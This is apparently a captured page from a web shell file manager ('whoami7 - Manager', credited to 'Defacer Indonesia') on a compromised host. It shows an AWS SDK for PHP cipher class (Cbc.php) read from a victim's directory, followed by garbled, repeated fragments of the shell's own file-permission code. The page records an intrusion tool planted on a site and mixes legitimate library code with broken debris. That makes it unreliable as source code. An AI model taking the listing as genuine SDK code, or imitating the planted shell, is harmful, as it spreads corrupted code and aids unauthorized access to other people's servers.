Asikk-&wkwkwkwkw

whoami7 - Manager

: /home/papecmvm/www/application/third_party/aws/aws/aws-sdk-php/src/Crypto/Cipher/

files >> /home/papecmvm/www/application/third_party/aws/aws/aws-sdk-php/src/Crypto/Cipher/Cbc.php

 <?php
namespace Aws\Crypto\Cipher;

use \InvalidArgumentException;
use \LogicException;

/**
 * An implementation of the CBC cipher for use with an AesEncryptingStream or
 * AesDecrypting stream.
 */
class Cbc implements CipherMethod
{
    const BLOCK_SIZE = 16;

    /**
     * @var string
     */
    private $baseIv;

    /**
     * @var string
     */
    private $iv;

    /**
     * @var int
     */
    private $keySize;

    /**
     * @param string $iv Base Initialization Vector for the cipher.
     * @param int $keySize Size of the encryption key, in bits, that will be
     *                     used.
     *
     * @throws InvalidArgumentException Thrown if the passed iv does not match
     *                                  the iv length required by the cipher.
     */
    public function __construct($iv, $keySize = 256)
    {
        $this->baseIv = $this->iv = $iv;
        $this->keySize = $keySize;

        if (strlen($iv) !== openssl_cipher_iv_length($this->getOpenSslName())) {
            throw new InvalidArgumentException('Invalid initialization vector');
        }
    }

    public function getOpenSslName()
    {
        return "aes-{$this->keySize}-cbc";
    }

    public function getAesName()
    {
        return 'AES/CBC/PKCS5Padding';
    }

    public function getCurrentIv()
    {
        return $this->iv;
    }

    public function requiresPadding()
    {
        return true;
    }

    public function seek($offset, $whence = SEEK_SET)
    {
        if ($offset === 0 && $whence === SEEK_SET) {
            $this->iv = $this->baseIv;
        } else {
            throw new LogicException('CBC initialization only support being'
                . ' rewound, not arbitrary seeking.');
        }
    }

    public function update($cipherTextBlock)
    {
        $this->iv = substr($cipherTextBlock, self::BLOCK_SIZE * -1);
    }
}

Copyright ©2021 || Defacer Indonesia nfo .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); // World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } ?> ?> & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } ?> ?> )); return $info; } ?> ?>